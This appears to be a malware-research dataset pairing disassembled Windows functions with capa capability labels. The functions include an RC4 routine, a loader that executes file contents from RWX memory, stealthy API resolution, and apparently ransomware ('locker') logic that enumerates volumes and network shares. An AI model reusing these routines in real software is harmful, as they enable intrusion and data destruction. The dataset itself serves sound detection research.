joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403a30
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x108
push ebp
mov ebp, dword [esp + 0x110]
lea eax, [esp + 0xc]
push esi
push edi
push 0x100
push 0
lea esi, [ebp + 4]
push eax
mov dword [esp + 0x1c], esi
call fcn.004018d0
add esp, 0xc
xor edi, edi
test esi, esi
je 0x403b1e
test ebp, ebp
je 0x403b1e
push ebx
mov ebx, dword [esp + 0x124]
test ebx, ebx
je 0x403b1d
xor eax, eax
nop
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x403a80
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x18]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + ebp]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jb 0x403a90
mov esi, dword [esp + 0x120]
xor edi, edi
mov dword [esp + 0x10], edi
add esi, 0xfffffffc
je 0x403b1d
mov ebp, dword [esp + 0x14]
sub ebp, ebx
lea eax, [edi + 1]
movzx edi, al
lea ebx, [ebx + 1]
mov eax, dword [esp + 0x10]
mov cl, byte [esp + edi + 0x18]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [esp + 0x10], eax
movzx eax, byte [esp + eax + 0x18]
mov byte [esp + edi + 0x18], al
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x18], cl
movzx eax, byte [esp + edi + 0x18]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x18]
xor al, byte [ebx + ebp - 1]
mov byte [ebx - 1], al
sub esi, 1
jne 0x403ad4
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x108
ret

Function at 0x403b30
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword fs:[0x18]
xor ecx, ecx
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0x3c]
movzx eax, word [eax + 0x38]
shr eax, 1
lea eax, [edx + eax*2]
cmp eax, edx
jb 0x403b67
mov edi, edi
cmp word [eax], 0x5c
je 0x403b5e
sub eax, 2
inc ecx
cmp eax, edx
jae 0x403b50
cmp ecx, 0xb
jae 0x403c33
push ebx
push esi
mov esi, 0xfffffffd
mov edi, edi
mov bl, 1
xor edx, edx
movzx ecx, bl
inc bl
movzx eax, byte [ecx + 0x817d90]
add byte [edx + 0x817c90], al
mov cl, byte [ecx + 0x817c90]
add byte [edx + 0x817c90], cl
inc edx
cmp edx, 0x100
jb 0x403b74
mov bl, 1
xor edx, edx
nop
movzx ecx, bl
inc bl
movzx eax, byte [ecx + 0x817d90]
xor byte [edx + 0x817c90], al
mov cl, byte [ecx + 0x817c90]
xor byte [edx + 0x817c90], cl
inc edx
cmp edx, 0x100
jb 0x403ba0
mov bl, 1
xor edx, edx
jmp 0x403bd0
movzx ecx, bl
inc bl
movzx eax, byte [ecx + 0x817d90]
sub byte [edx + 0x817c90], al
movzx eax, byte [edx + 0x817c90]
sub al, byte [ecx + 0x817c90]
mov byte [edx + 0x817c90], al
inc edx
cmp edx, 0x100
jb 0x403bd0
mov bl, 1
xor eax, eax
movzx edx, bl
inc bl
movzx ecx, byte [edx + 0x817d90]
xor byte [eax + 0x817c90], cl
mov dl, byte [edx + 0x817c90]
xor byte [eax + 0x817c90], dl
inc eax
cmp eax, 0x100
jb 0x403c02
sub esi, 1
jne 0x403b70
pop esi
pop ebx
ret
Function at 0x403c40
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, 0x2000000
mov bl, 1
xor edx, edx
jmp 0x403c50
movzx ecx, bl
inc bl
movzx eax, byte [ecx + 0x817d90]
add byte [edx + 0x817c90], al
mov cl, byte [ecx + 0x817c90]
add byte [edx + 0x817c90], cl
inc edx
cmp edx, 0x100
jb 0x403c50
mov bl, 1
xor edx, edx
jmp 0x403c80
movzx ecx, bl
inc bl
movzx eax, byte [ecx + 0x817d90]
xor byte [edx + 0x817c90], al
mov cl, byte [ecx + 0x817c90]
xor byte [edx + 0x817c90], cl
inc edx
cmp edx, 0x100
jb 0x403c80
mov bl, 1
xor edx, edx
jmp 0x403cb0
movzx ecx, bl
inc bl
movzx eax, byte [ecx + 0x817d90]
sub byte [edx + 0x817c90], al
movzx eax, byte [edx + 0x817c90]
sub al, byte [ecx + 0x817c90]
mov byte [edx + 0x817c90], al
inc edx
cmp edx, 0x100
jb 0x403cb0
mov bl, 1
xor eax, eax
movzx edx, bl
inc bl
movzx ecx, byte [edx + 0x817d90]
xor byte [eax + 0x817c90], cl
mov dl, byte [edx + 0x817c90]
xor byte [eax + 0x817c90], dl
inc eax
cmp eax, 0x100
jb 0x403ce2
sub esi, 1
jne 0x403c47
pop esi
pop ebx
ret

Function at 0x41bb72
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push str.Printers
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000118a
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011b5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x10001208
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x10001000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.10002c00
add esp, 0x10
call dword [ebp - 4]
push 0x3068
push 0
push eax
call dword [ebp - 8]
push 0x3068
mov esi, eax
push 0
push esi
call fcn.1000f620
mov ecx, dword [ebp - 0xc]
mov dword [esi + 8], ecx
mov ecx, dword [ebp - 4]
mov dword [esi + 0xc], ecx
mov eax, dword [ebp - 8]
mov dword [esi + 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esi], eax
call fcn.10006fb0
push 0
push esi
call fcn.100070d0
push esi
call fcn.10002d90
push esi
call fcn.10005f60
push esi
call fcn.1000fd30
push esi
call fcn.10004c60
add esp, 0x24
test eax, eax
jne 0x10001094
push str.____Init_error___config_signature_not_found._n
call fcn.10006000
add esp, 4
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call fcn.10004cc0
add esp, 4
cmp dword [esi + 0x178], 3
je 0x100010b9
push esi
call fcn.10005560
push str.Program_started._n
call fcn.10006050
add esp, 8
push esi
call fcn.10004a10
push esi
call fcn.100049a0
push esi
call fcn.10005220
add esp, 0xc
test eax, eax
jne 0x100010e7
push str.____Error_parsing_and_loading_config___exiting._n
call fcn.10006000
add esp, 4
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.___JSON_config_loaded_successfully_n
call fcn.10006000
push esi
call fcn.10004f50
push esi
call fcn.10004d70
add esp, 0xc
cmp dword [esi + 0x188], 0
jne 0x10001118
push esi
call fcn.10007270
push esi
call fcn.10007120
add esp, 8
push esi
call fcn.100058b0
push esi
call fcn.10002980
push str.____All_task_finished__locker_exiting._n
call fcn.10006000
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10001d10
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x18
mov eax, dword [ecx + 0xe40]
push ebx
push edi
xor edi, edi
lea eax, [eax + eax*2]
add eax, eax
mov ebx, dword [ecx + eax*8 + 0xe50]
cmp dword [ebx + 8], edi
jle 0x10001dde
push esi
lea esi, [ebx + 0xc]
nop dword [eax]
lea eax, [ebp - 8]
mov dword [ebp - 0x18], 0
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x10], 0
push eax
push esi
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
jne 0x10001d98
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.____error_call_GetDiskFreeSpaceExA__ws___code__d_n
call fcn.10006000
add esp, 0xc
jmp 0x10001db9
push 0
push 0x64
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.1000ebf0
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push edx
push eax
call fcn.1000ecf0
cmp eax, 2
jle 0x10001dd2
inc edi
add esi, 0x20a
cmp edi, dword [ebx + 8]
jl 0x10001d40
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
pop edi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001df0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 4], 0xffffffff
lea edi, [ebx + 0x14c8]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor esi, esi
cmp dword [ebx + 0x1184], esi
jle 0x10001e48
lea edi, [ebx + 0x1488]
nop
mov eax, dword [edi]
test eax, eax
je 0x10001e75
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x10001e63
inc esi
add edi, 4
cmp esi, dword [ebx + 0x1184]
jl 0x10001e20
lea edi, [ebx + 0x14c8]
mov eax, dword [ebp - 4]
test eax, eax
jns 0x10001e82
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001e07
push dword [ebx + esi*4 + 0x1488]
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10001e42
mov eax, esi
lea edi, [ebx + 0x14c8]
mov dword [ebp - 4], eax
jmp 0x10001e4b
mov edx, dword [ebp + 0xc]
lea esi, [eax + eax*2]
add esi, esi
mov ecx, dword [ebx + esi*8 + 0x1194]
add ecx, 0xc
movzx eax, word [edx]
lea edx, [edx + 2]
mov word [ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x10001e94
push 0
add esi, 0x231
push 0
lea eax, [ebx + esi*8]
push eax
push 0x10006ed0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
push edi
mov dword [ebx + ecx*4 + 0x1488], eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100028c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x30
call fcn.10006240
mov edi, eax
mov eax, dword [ebp + 8]
push 0x3d38
mov dword [edi], 2
mov dword [edi + 4], eax
call fcn.10006240
mov dword [edi + 0xc], eax
add esp, 8
mov dword [eax + 8], 1
mov eax, dword [edi + 0xc]
mov dword [eax + 4], 1
mov eax, dword [edi + 0xc]
mov dword [eax], 1
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ebx, dword [ebp + 0xc]
xor esi, esi
movzx eax, word [ebx]
test ax, ax
je 0x1000293a
mov edx, eax
mov ecx, 0xc
mov eax, dword [edi + 0xc]
lea esi, [esi + 1]
lea ecx, [ecx + 2]
mov word [ecx + eax - 2], dx
movzx edx, word [ebx + esi*2]
test dx, dx
jne 0x10002923
mov ebx, dword [ebp + 8]
lea esi, [ebx + 0x15a4]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [ebx + 0x15bc]
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push 0
push edi
push 0x10007040
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10002c00
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword fs:[0x30]
xorps xmm0, xmm0
movups xmmword [ebp - 0x24], xmm0
push ebx
push esi
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov eax, dword [eax + 0xc]
push edi
push 1
push 0x1a
mov esi, dword [eax + 0xc]
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], 0x65006b
mov dword [ebp - 0x20], 0x6e0072
mov dword [ebp - 0x1c], 0x6c0065
mov dword [ebp - 0x18], 0x320033
mov dword [ebp - 0x14], 0x64002e
mov dword [ebp - 0x10], 0x6c006c
mov dword [ebp - 0xc], 0
push dword [esi + 0x30]
call fcn.10007620
add esp, 0x10
test eax, eax
je 0x10002c99
nop dword [eax]
mov esi, dword [esi]
lea eax, [ebp - 0x24]
push 1
push 0x1a
push eax
push dword [esi + 0x30]
call fcn.10007620
add esp, 0x10
test eax, eax
jne 0x10002c80
mov ecx, dword [esi + 0x18]
xor edi, edi
mov dword [ebp - 0x24], 0x50746547
mov dword [ebp - 0x20], 0x41636f72
mov dword [ebp - 0x1c], 0x65726464
mov dword [ebp - 0x18], 0x7373
mov eax, dword [ecx + 0x3c]
mov dword [ebp - 8], ecx
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov dword [ebp - 4], eax
mov esi, dword [eax + 0x20]
mov ebx, dword [eax + 0x24]
add esi, ecx
add ebx, ecx
cmp dword [eax + 0x18], edi
jbe 0x10002d7d
nop dword [eax]
mov eax, dword [esi]
push 0
add eax, ecx
lea ecx, [ebp - 0x24]
push 0xf
push ecx
push eax
call fcn.10007620
add esp, 0x10
test eax, eax
je 0x10002d12
mov eax, dword [ebp - 4]
inc edi
mov ecx, dword [ebp - 8]
add esi, 4
add ebx, 2
cmp edi, dword [eax + 0x18]
jb 0x10002ce0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx ecx, word [ebx]
test ecx, ecx
js 0x10002d7d
mov eax, dword [ebp - 4]
mov edi, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edi]
lea eax, [ebp - 0x24]
push eax
add esi, edi
mov dword [ebp - 0x24], 0x50746547
push edi
mov dword [ebp - 0x20], 0x65636f72
mov dword [ebp - 0x1c], 0x65487373
mov dword [ebp - 0x18], 0x7061
call esi
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x24], 0x70616548
mov dword [ebp - 0x20], 0x6f6c6c41
mov dword [ebp - 0x1c], 0x63
mov dword [ecx], eax
lea eax, [ebp - 0x24]
push eax
push edi
call esi
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002d90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0x70616548
movups xmmword [ebp - 0x10], xmm0
mov eax, dword [esi + 8]
push dword [esi]
mov dword [ebp - 0x18], 0x6c416552
mov dword [ebp - 0x14], 0x636f6c
call eax
mov dword [esi + 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push dword [esi]
mov eax, dword [esi + 8]
mov dword [ebp - 0x1c], 0x70616548
mov dword [ebp - 0x18], 0x65657246
mov dword [ebp - 0x14], 0
call eax
mov dword [esi + 0x18], eax
mov eax, dword [0x10010410]
movq xmm0, qword [str.LoadLibraryA]
mov dword [ebp - 0x14], eax
mov al, byte [0x10010414]
mov byte [ebp - 0x10], al
lea eax, [ebp - 0x1c]
push eax
push dword [esi]
mov eax, dword [esi + 8]
movq qword [ebp - 0x1c], xmm0
call eax
mov dword [esi + 0x1c], eax
mov cx, word [0x10010420]
movq xmm0, qword [str.ntdll.dll]
mov word [ebp - 0x14], cx
lea ecx, [ebp - 0x1c]
push ecx
movq qword [ebp - 0x1c], xmm0
call eax
mov dword [esi + 4], eax
mov cl, byte [0x1001043c]
movups xmm0, xmmword [str.NtQuerySystemInformation]
mov byte [ebp - 4], cl
lea ecx, [ebp - 0x1c]
push ecx
movups xmmword [ebp - 0x1c], xmm0
push eax
movq xmm0, qword [0x10010434]
mov eax, dword [esi + 8]
movq qword [ebp - 0xc], xmm0
call eax
mov dword [esi + 0x20], eax
movzx eax, word [0x10010450]
movups xmm0, xmmword [str.NtDuplicateObject]
mov word [ebp - 0xc], ax
lea eax, [ebp - 0x1c]
push eax
push dword [esi + 4]
mov eax, dword [esi + 8]
movups xmmword [ebp - 0x1c], xmm0
call eax
mov dword [esi + 0x24], eax
mov eax, dword [0x1001045c]
movq xmm0, qword [str.NtQueryObject]
mov dword [ebp - 0x14], eax
movzx eax, word [0x10010460]
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x1c]
push eax
push dword [esi + 4]
mov eax, dword [esi + 8]
movq qword [ebp - 0x1c], xmm0
call eax
mov dword [esi + 0x28], eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100049a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push str.___Checking_mutex..._n
call fcn.10006000
mov eax, dword [ebp + 8]
add esp, 4
cmp dword [eax + 0x17c], 0
je 0x100049c9
mov dword [ebp + 8], str.____Skip_mutex_check_by__nomutex_param._n
pop ebp
jmp fcn.10006000
push esi
add eax, 0x3042
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
pop esi
je 0x100049ee
cmp eax, 0xb7
jne 0x10004a03
push str.____Exiting_by_mutext_check_n
call fcn.10006000
add esp, 4
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop ebp
ret
Function at 0x10004aa0
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebx]
cmp esi, dword [ebp + 0x14]
jl 0x10004ac0
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push edi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0x4000
push eax
push dword [ebp + 0x10]
mov dword [ebp - 0xc], 0xffffffff
push 0
push 0
push 2
call sub.MPR.dll_WNetOpenEnumA
mov edi, eax
test edi, edi
je 0x10004b46
push edi
push str.____WnetOpenEnumA_failed_with_error__d_n
call fcn.10006000
add esp, 8
cmp edi, 0x4b8
jne 0x10004b3d
push 0x100
lea eax, [ebp - 0x114]
push eax
push 0x100
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp + 0x14]
push eax
call sub.MPR.dll_WNetGetLastErrorA
lea ecx, [ebp - 0x114]
push ecx
lea ecx, [ebp - 0x214]
push ecx
push eax
push dword [ebp + 0x14]
push str.____WnetOpenEnumA_extended_error_code:__d___d__n_Description:__s_nProvider:__s_n
call fcn.10006000
add esp, 0x14
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 4]
call fcn.10006240
add esp, 4
mov edi, eax
push dword [ebp - 4]
push 0
push edi
call fcn.1000f620
add esp, 0xc
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x14]
call sub.MPR.dll_WNetEnumResourceA
test eax, eax
jne 0x10004c06
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], eax
jbe 0x10004b53
mov ebx, edi
mov dword [ebp - 0x10], edi
cmp dword [edi + 4], 1
mov ecx, dword [ebp + 0x14]
jne 0x10004bce
cmp dword [edi + 8], 3
jne 0x10004bce
cmp esi, ecx
jge 0x10004bce
mov ecx, dword [edi + 0x14]
xor eax, eax
mov dl, byte [ecx]
test dl, dl
je 0x10004bc7
mov ebx, dword [ebp + 8]
nop dword [eax + eax]
mov ecx, dword [ebx + esi*4]
lea eax, [eax + 1]
mov byte [eax + ecx - 1], dl
mov ecx, dword [edi + 0x14]
mov dl, byte [eax + ecx]
test dl, dl
jne 0x10004bb0
mov ebx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
inc esi
mov ecx, dword [ebp + 0x14]
test dword [ebx + 0xc], 2
je 0x10004bf2
mov eax, dword [ebp + 0xc]
push ecx
push ebx
push eax
push dword [ebp + 8]
mov dword [eax], esi
call fcn.10004aa0
mov esi, dword [ebp + 0xc]
add esp, 0x10
mov eax, dword [ebp - 8]
mov esi, dword [esi]
inc eax
add ebx, 0x20
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], ebx
cmp eax, dword [ebp - 0xc]
jb 0x10004b87
jmp 0x10004b53
cmp eax, 0x103
je 0x10004c1b
push eax
push str.____WNetEnumResource_failed_with_error__d_n
call fcn.10006000
add esp, 8
mov eax, dword [ebp + 0xc]
push edi
mov dword [eax], esi
call fcn.10006290
add esp, 4
push dword [ebp - 0x14]
call sub.MPR.dll_WNetCloseEnum
test eax, eax
je 0x10004c4c
push eax
push str.WNetCloseEnum_failed_with_error__d_n
call fcn.10006000
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004d70
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x320
push 0x105
lea eax, [ebp - 0x110]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.1000f620
push 0x105
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.1000f620
add esp, 0x18
lea eax, [ebp - 0x110]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x10004ddb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____error_call_FindFirstVolumeA____code:__d_n
call fcn.10006000
add esp, 8
mov esp, ebp
pop ebp
ret
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, eax
mov ecx, dword [ebp - 0x110]
xor eax, eax
test cl, cl
je 0x10004dfb
nop
inc eax
cmp byte [ebp + eax - 0x110], 0
jne 0x10004df0
dec eax
cmp cl, 0x5c
jne 0x10004f2d
cmp ch, cl
jne 0x10004f2d
cmp byte [ebp - 0x10e], 0x3f
jne 0x10004f2d
cmp byte [ebp - 0x10d], cl
jne 0x10004f2d
lea esi, [ebp - 0x110]
add esi, eax
cmp byte [esi], cl
jne 0x10004f2d
push 0x104
lea eax, [ebp - 0x218]
mov byte [esi], 0
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov dword [ebp - 4], eax
mov byte [esi], 0x5c
test eax, eax
je 0x10004f1f
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x105
push eax
push 0x105
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameA]
test eax, eax
je 0x10004ef1
mov bh, byte [ebp - 0x320]
lea eax, [ebp - 0x320]
test bh, bh
je 0x10004eee
mov dl, bh
lea ecx, [edx - 0x61]
cmp cl, 0x19
ja 0x10004ea5
add dl, 0xe0
add dl, 0xbf
movsx ecx, dl
imul ecx, ecx, 0x105
add ecx, 0x15c0
add ecx, edi
cmp byte [ecx], 0
jne 0x10004edc
mov edx, dword [ebp - 0x218]
test dl, dl
je 0x10004edc
mov bl, dl
lea edx, [ebp - 0x218]
inc edx
mov byte [ecx], bl
lea ecx, [ecx + 1]
mov bl, byte [edx]
test bl, bl
jne 0x10004ed0
test bh, bh
je 0x10004ee6
inc eax
cmp byte [eax], 0
jne 0x10004ee0
mov bh, byte [eax + 1]
inc eax
test bh, bh
jne 0x10004e98
mov ebx, dword [ebp - 8]
push 0x104
lea eax, [ebp - 0x110]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
test eax, eax
jne 0x10004de3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x10004f41
push eax
push str.____error_call_FindNextVolumeA____code__d_n
jmp 0x10004f39
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____error_call_QueryDosDeviceA____code:__d_n
jmp 0x10004f39
lea eax, [ebp - 0x110]
push eax
push str.____FindFirstVolumeW_FindNextVolumeW_returned_a_bad_path:__s_n
call fcn.10006000
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004f50
Capabilities:
Create thread
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
push edi
push str.___Init_prgn_data..._n
call fcn.10006000
mov ebx, dword [ebp + 8]
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [ebx + 0x1528]
push eax
call edi
push 0x68
lea eax, [ebp - 0x100]
mov dword [ebx + 0x14e0], 0
push 0
push eax
call fcn.1000f620
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x100], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0xfc], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0xf4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov eax, dword [ebx + 0x174]
mov dword [ebp - 0xe4], eax
lea eax, [ebp - 0xd8]
push eax
mov dword [ebp - 0xe0], ebx
mov dword [ebp - 0xd8], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0x48
lea eax, [ebp - 0x98]
push 0
push eax
call fcn.1000f620
push 0x40
lea eax, [ebp - 0x90]
push eax
push 0x68
lea eax, [ebp - 0x100]
push eax
push 0
push 0x200
call fcn.10006840
add esp, 0x24
xor esi, esi
nop word [eax + eax]
push 0x40
lea eax, [ebp - 0x90]
mov dword [ebp - 0x94], esi
push eax
push 0x48
lea eax, [ebp - 0x98]
push eax
push 0
push 0x200
call fcn.10006840
inc esi
add esp, 0x18
cmp esi, 0x2000
jl 0x10005030
push 0x2c
lea eax, [ebp - 0x4c]
push 0
push eax
call fcn.1000f620
add esp, 0xc
mov dword [ebp - 0x50], 1
lea eax, [ebp - 0x98]
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x40]
push eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
xor esi, esi
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 4], 0
movq qword [ebp - 0xc], xmm0
nop dword [eax + eax]
push 0
push 0
lea eax, [ebp - 0x50]
push eax
push 0x10007040
push 0
push 0
call edi
mov dword [ebp + esi*4 - 0x20], eax
inc esi
cmp esi, 8
jl 0x100050b0
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0x20]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
push dword [ebp + esi*4 - 0x20]
call edi
inc esi
cmp esi, 8
jl 0x100050e5
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
movups xmm0, xmmword [ebp - 0x90]
lea eax, [ebx + 0x158c]
push eax
movups xmmword [ebx + 0x154c], xmm0
movups xmm0, xmmword [ebp - 0x80]
movups xmmword [ebx + 0x155c], xmm0
movups xmm0, xmmword [ebp - 0x70]
movups xmmword [ebx + 0x156c], xmm0
movups xmm0, xmmword [ebp - 0x60]
movups xmmword [ebx + 0x157c], xmm0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret